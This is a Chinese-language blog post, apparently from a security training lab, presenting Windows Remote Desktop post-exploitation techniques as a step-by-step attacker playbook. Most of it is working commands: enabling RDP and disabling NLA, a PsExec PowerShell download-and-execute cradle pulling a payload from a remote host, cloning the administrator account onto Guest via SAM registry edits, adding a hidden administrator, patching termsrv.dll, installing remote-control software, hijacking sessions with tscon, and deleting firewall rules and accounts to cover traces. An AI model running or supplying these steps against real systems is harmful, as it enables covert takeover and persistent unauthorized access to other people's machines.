Windows遠端桌面的奇技淫巧

蚁景网安实验室發表於2024-07-09

前言

  • Windows遠端桌面簡介

遠端桌面協議(RDP)是一個多通道(multi-channel)的協議,讓使用者連上提供微軟終端機服務的計算機(稱為服務端或遠端計算機)

  • 遠端桌面的前置條件

在獲取許可權後,針對3389進行展開,先查詢3389埠是否開啟

netstat -ano | findstr 3389

發現沒有開啟(也有可能更改了埠),則可以透過登錄檔進行手動啟動(需要管理員許可權)

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f      (開啟)
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f      (關閉)

若執行失敗,可能由於系統版本過舊(以下開啟命令適用於Windows Server 2003之前系統)

wmic path Win32_TerminalServiceSetting where (__class = "Win32_TerminalServiceSetting") call SetAllowTSConnections 1(開啟)
wmic path Win32_TerminalServiceSetting where (__class = "Win32_TerminalServiceSetting") call SetAllowTSConnections 0(關閉)

Windows遠端桌面的奇技淫巧

有些運維人員會勾選”僅允許使用網路級別的身份驗證的遠端桌面的計算機連線”選項,我們也可以透過登錄檔進行關閉,避免影響連線(開啟同理0替換成1)

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

Windows遠端桌面的奇技淫巧

為了避免運維人員更改了RDP埠,可以確認下RDP埠

reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /V PortNumber

Windows遠端桌面的奇技淫巧

正常若是3389埠為0xd3d(預設是十六進位制表示)

Windows遠端桌面的奇技淫巧

在這裡還需要保證防火牆等安全裝置沒有禁止且相互之間網路必須相通,這裡防火牆設定只允許單獨埠放通,減少運維人員的警覺(只允許3389埠放通)

netsh advfirewall firewall add rule name="RemoteDesktop" protocol=TCP dir=in localport=3389 action=allow

透過命令刪除防火牆的通行策略(清理痕跡)

netsh advfirewall firewall delete rule name="RemoteDesktop"

【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

克隆賬戶接管administrator桌面

  • 適用場景

在無法獲取明文密碼或者Hash等憑據,但是想接管實時的administrator桌面

  • 利用步驟(預設情況下需要system許可權)

在administrator許可權下進行切換(利用PsExec工具進行powershell無檔案落地上線system許可權)

shell "PsExec64.exe -accepteula -s powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.108.132:8080/a'))""

(-accepteula同意終端使用者許可協議End User License Agreement,否則會彈窗無法執行)

Windows遠端桌面的奇技淫巧

查詢使用者的SID,方便選擇克隆物件(常克隆Guest使用者,系統自帶不易察覺且預設的SID為501)

Windows遠端桌面的奇技淫巧

這裡克隆administrator使用者為Guest使用者,將SID為500(對應十六進位制為0x1f4)的管理員賬號的相關資訊匯出為admin.reg

regedit /e admin.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4

Windows遠端桌面的奇技淫巧

將登錄檔檔案下載到本地方便編輯(下載後預設在本地CS目錄的下的download資料夾下,檔案下載後需要重新命名)

download admin.reg

Windows遠端桌面的奇技淫巧

將admin.reg檔案的第三行HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4中的“1F4”修改為Guest的SID為1F5(十六進位制),並儲存為new.reg(方便區分)

Windows遠端桌面的奇技淫巧

將new.reg重新上傳到受害機中

Windows遠端桌面的奇技淫巧

匯入編輯好的new.reg檔案

regedit /s new.reg

修改Guest密碼便於遠端登入,並及時清理兩個reg檔案

net user Guest Admin@123
del /F C:\Users\Administrator\Desktop\admin.reg C:\Users\Administrator\Desktop\new.reg

Windows遠端桌面的奇技淫巧

此時直接進行遠端登入Guest賬戶,其實是administrator賬戶的系統,成功接管!

Windows遠端桌面的奇技淫巧

新建隱藏管理員+遠端軟體+會話劫持組合拳接管administrator桌面

  • 適用場景

在無法獲取明文密碼或者Hash等憑據,但是想接管實時的administrator桌面

  • 利用步驟

新增新隱藏使用者

net user yuzi$ Admin@123 /add

將新隱藏使用者新增到管理員組

net localgroup administrators yuzi$ /add

此時直接進行遠端登入隱藏賬戶,進行圖形化操作

Windows遠端桌面的奇技淫巧

若遇到對方已有使用者線上,可能會出現以下介面(Windows sever版本預設支援多使用者同時線上,Windows其他版本不支援)

Windows遠端桌面的奇技淫巧

此時為了做到更加隱蔽的進行登入(強迫登入會使對方會話掉線),可以修改termsrv.dll檔案實現,操作前要將所有權轉移給本地管理員,向本地管理員組授予對termsrv.dll檔案的“完全控制”許可權(若是透過powershell無檔案遠控的形式執行如下命令可能會出現問題,則需要在可執行木馬的遠控場景執行命令)

takeown /F c:\Windows\System32\termsrv.dll /A
icacls c:\Windows\System32\termsrv.dll /grant Administrators:F

修改系統檔案可能會導致系統不穩定,確保有原始termsrv.dll檔案的備份

copy c:\Windows\System32\termsrv.dll termsrv.dll_backup

Windows遠端桌面的奇技淫巧

接下來將對方的c:\Windows\System32\termsrv.dll檔案下載至本地

download c:\Windows\System32\termsrv.dll

在編輯dll前需要確認當前系統的版本號,檢視Windows的版本號

powershell Get-ComputerInfo -Property WindowsVersion, OsName

Windows遠端桌面的奇技淫巧

透過十六進位制文字編輯器進行編輯termsrv.dll檔案,按照不同的Windows的版本查詢對應的字串標識,替換為B8 00 01 00 00 89 81 38 06 00 00 90

01.png

Windows遠端桌面的奇技淫巧

修改完成後上傳至對方,進行強制替換系統自帶的termsrv.dll,(替換前需要先停止遠端服務,以免發生衝突,替換後再重新啟用遠端服務)

net stop TermService /y
copy /y C:\Users\Administrator\Desktop\termsrv.dll c:\windows\system32\termsrv.dll
net start TermService 

Windows遠端桌面的奇技淫巧

重新進行3389遠端連線,發現已經可以直接登入到新建隱藏管理員桌面,不再出現提示頁面

Windows遠端桌面的奇技淫巧

藉助Windows的特性,直接在新建隱藏管理員桌面安裝輕量級的遠控桌面軟體並執行(這裡以GotoHTTP為例)

Windows遠端桌面的奇技淫巧

在攻擊機本地進行GotoHTTP遠端桌面時候,發現已經成功接管了administrator的實時桌面(由於GotoHTTP是以管理員身份執行的故顯示的administrator桌面)

Windows遠端桌面的奇技淫巧

若運氣不好,發現利用GotoHTTP遠端後在鎖定頁面,此時還可以配合會話劫持進行接管administrator實時桌面

Windows遠端桌面的奇技淫巧

接下來進行劫持(劫持administrator的會話),查詢可劫持的會話

quser

Windows遠端桌面的奇技淫巧

以管理員許可權執行cmd,建立服務(用於會話劫持的許可權需要system,恰好Windows的服務是以system許可權執行,其中的1為需要劫持的ID值)

sc create rdp binpath= "cmd.exe /k tscon 1 /dest:console"

Windows遠端桌面的奇技淫巧

啟動並且刪除服務後,發現此時的GotoHTTP頁面已經成功進入解鎖狀態的桌面

sc start rdp & sc delete rdp & exit 

Windows遠端桌面的奇技淫巧

遠端結束後進行刪除隱藏使用者(清理痕跡,這類隱藏使用者容易發現)

net user yuzi$ /delete

更多網安技能的線上實操練習,請點選這裡>>

相關文章